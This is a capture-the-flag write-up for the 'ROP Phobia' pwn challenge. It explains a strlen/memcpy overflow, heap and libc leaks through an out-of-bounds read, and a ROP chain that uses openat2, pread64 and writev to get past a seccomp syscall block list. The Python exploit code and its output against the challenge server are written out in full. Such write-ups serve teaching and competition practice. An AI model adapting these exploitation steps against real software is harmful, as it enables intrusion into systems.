ROP Phobia 500
I know, I know everyone has their own fears. Check if you have ROP Phobia or not? If so, overcome it :)
Connection: nc pwn1.blitzhack.xyz 1337
Author: 0x1337
Team: Weak But Leet
Attachment: public.zip xpl.py
Enter student name: a
Enter student major: b
1. Add Courses
2. Show Details
3. Remove Course
4. View Course
5. Submit Project
6. Exit
>
Looks like your usual note challenge at first, but as the name suggests, it’s a rop challenge and that will be happening in Submit Project
.
undefined8 submit(Student *students)
{
ptrbuf = buf;
courses_count = size(students.courses);
if (courses_count == 0) {
std::cout << "No course registered" << std::endl;
}
else {
found_pwning = 0;
for (i = 0; i < courses_count; i++) {
if(strstr(students.courses[i].c_str(),"PWNING1337"))
found_pwning = 1;
break;
}
}
if (found_pwning == 1) {
std::cout<<"Feedback for this project: "<<std::endl;
cin(&ptrbuf);
setup_filter();
}
else {
std::cout<<"You didn\'t register for this course!\n";
}
}
return 1;
}
So, to be able to give feedback in the first place, we’ll need to have added a course named PWNING1337
.
void cin(char **param_1)
{
...
getsline(&input, &read_size);
len_input = strlen(input);
if (len_input < 0x409) {
memcpy(*param_1,input,read_size);
}
return;
}
In cin
the challenge reads the input via getsline
and stores the data in input
and the number of read bytes in read_size
.
It then checks the length of our input via strlen
and only copies it into the stack buffer, it it’s not longer than 0x408
bytes.
But memcpy
then uses read_size
from getsline
to copy the data…
Since strlen
will stop at the first null-byte in the string, but read_size
will contain the real length of our input, we can craft a payload with for example A * 0x408
, add a null-byte and then add more characters to it.
strlen
will then return 0x408
but memcpy
will copy all the bytes after the null-byte also, resulting in a buffer overflow. With this we can start a ropchain. But since PIE
and ASLR
is active, we don’t know any gadgets by now.
For this we have to abuse the course system a bit to get some leaks.
payload1 = b"A"*0x20
r.sendlineafter(b"name: ", payload1)
r.sendlineafter(b"major: ", payload1)
r.recvuntil(b"> ")
add(b"PWNING1337") # 0
HEAPLEAK = u64(view(-1)[:-1].ljust(8, b"\x00"))
HEAPBASE = HEAPLEAK - 0x11ee0
log.info(f"LEAK: {hex(HEAPLEAK)}")
log.info(f"HEAP BASE: {hex(HEAPBASE)}")
Since the View Course
function doesn’t check the length of the courses
vector, we can read oob, and at index -1
we can directly leak a heap address.
Knowing the base of the heap, we can now create a big string and free it (so it doesn’t go into fastbins), by creating a course and removing it.
payload = b"X"*(0x20-8-8)
payload += p64(HEAPBASE + 0x127f0)
add(payload) # 1
payload = p64(HEAPBASE + 0x127f0) * ((int)(0x610/8))
add(payload) # 2
free(2)
LIBCLEAK = u64(view(3)[:-1].ljust(8, b"\x00"))
libc.address = LIBCLEAK - 0x3ebca0
log.info(f"LIBC LEAK: {hex(LIBCLEAK)}")
log.info(f"LIBC BASE: {hex(libc.address)}")
Just sprayed the heap with the address of the later freed course, so that we can now leak the main_arena
pointer from the freed string by viewing course 3.
With a libc leak, we should now have more than enough gadgets.
But, after reading our input, the binary also registers some seccomp rules, we need to get around.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1b 0xc000003e if (A != ARCH_X86_64) goto 0029
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x18 0xffffffff if (A != 0xffffffff) goto 0029
0005: 0x15 0x17 0x00 0x00000000 if (A == read) goto 0029
0006: 0x15 0x16 0x00 0x00000001 if (A == write) goto 0029
0007: 0x15 0x15 0x00 0x00000002 if (A == open) goto 0029
0008: 0x15 0x14 0x00 0x00000003 if (A == close) goto 0029
0009: 0x15 0x13 0x00 0x00000009 if (A == mmap) goto 0029
0010: 0x15 0x12 0x00 0x0000000a if (A == mprotect) goto 0029
0011: 0x15 0x11 0x00 0x0000000b if (A == munmap) goto 0029
0012: 0x15 0x10 0x00 0x00000012 if (A == pwrite64) goto 0029
0013: 0x15 0x0f 0x00 0x00000013 if (A == readv) goto 0029
0014: 0x15 0x0e 0x00 0x00000028 if (A == sendfile) goto 0029
0015: 0x15 0x0d 0x00 0x00000038 if (A == clone) goto 0029
0016: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0029
0017: 0x15 0x0b 0x00 0x0000003a if (A == vfork) goto 0029
0018: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0029
0019: 0x15 0x09 0x00 0x0000003e if (A == kill) goto 0029
0020: 0x15 0x08 0x00 0x00000101 if (A == openat) goto 0029
0021: 0x15 0x07 0x00 0x00000127 if (A == preadv) goto 0029
0022: 0x15 0x06 0x00 0x00000128 if (A == pwritev) goto 0029
0023: 0x15 0x05 0x00 0x00000136 if (A == process_vm_readv) goto 0029
0024: 0x15 0x04 0x00 0x00000137 if (A == process_vm_writev) goto 0029
0025: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0029
0026: 0x15 0x02 0x00 0x00000147 if (A == preadv2) goto 0029
0027: 0x15 0x01 0x00 0x00000148 if (A == pwritev2) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x06 0x00 0x00 0x00000000 return KILL
Like in shellphobia
most of the useful “default” syscalls are blocked (and architecture is checked this time).
But it’s not as strict as in shellphobia
making the flag extraction a lot easier from this point on.
openat2
pread64
writev
are not blocked, and that’s all we need.
add(b"../flag")
add(p64(HEAPBASE + 0x120f0) + p64(100)) # iovec_ptr
POPRAX = libc.address + 0x1b500
POPRDI = libc.address + 0x2164f
POPRDXRSI = libc.address + 0x130539
SYSCALL = libc.address + 0xd2625
POPR10 = libc.address + 0x130515
First, we calculate the needed gadgets, and put the flag
filename on the heap and prepare an iovec_ptr
for writev
, which will point to the buffer, where we’ll later read the flag into.
def syscall(num, rdi, rsi, rdx, r10):
res = b""
res += p64(POPRAX)
res += p64(num)
res += p64(POPRDI)
res += p64(rdi)
res += p64(POPRDXRSI)
res += p64(rdx)
res += p64(rsi)
res += p64(POPR10)
res += p64(r10)
res += p64(SYSCALL)
return res
payload = b"A"*1031 + b"\x00"
payload += b"B"*40
payload += p64(0xfacebabe)
# openat2(AT_FDCWD, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24, 0)
payload += syscall(0x1b5, 0xffffff9c, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24)
# pread64(5, HEAPBASE + 0x120f0, 100, 0)
payload += syscall(17, 5, HEAPBASE + 0x120f0, 100, 0)
# writev(stdout, iovec_ptr, 1)
payload += syscall(20, 1, HEAPBASE + 0x127f0, 1, 0)
r.sendline(b"5")
r.recvline()
r.sendline(payload)
Now we’ll just open the file via openat2
by pointing pathname
to the ../flag
string we put on the heap. Then we can read the flag
via pread64
, which works pretty much like read
.
writev
needs some more preparation, since we need to pass it a pointer to an iovec
struct, which contains the addresses of the buffers to write. For that we already created a course, which contains a valid iovec
struct, so we can just use that.
$ python3 xpl.py 1
[*] '/home/kileak/ctf/blitz25/ropphobia_work/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn1.blitzhack.xyz on port 1337: Done
[*] LEAK: 0x563ae9bf6ee0
[*] HEAP BASE: 0x563ae9be5000
[*] LIBC LEAK: 0x7f76de469ca0
[*] LIBC BASE: 0x7f76de07e000
[*] Switching to interactive mode
Blitz{sup3r_r0p_r0p_r0p_368e514668d61}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
$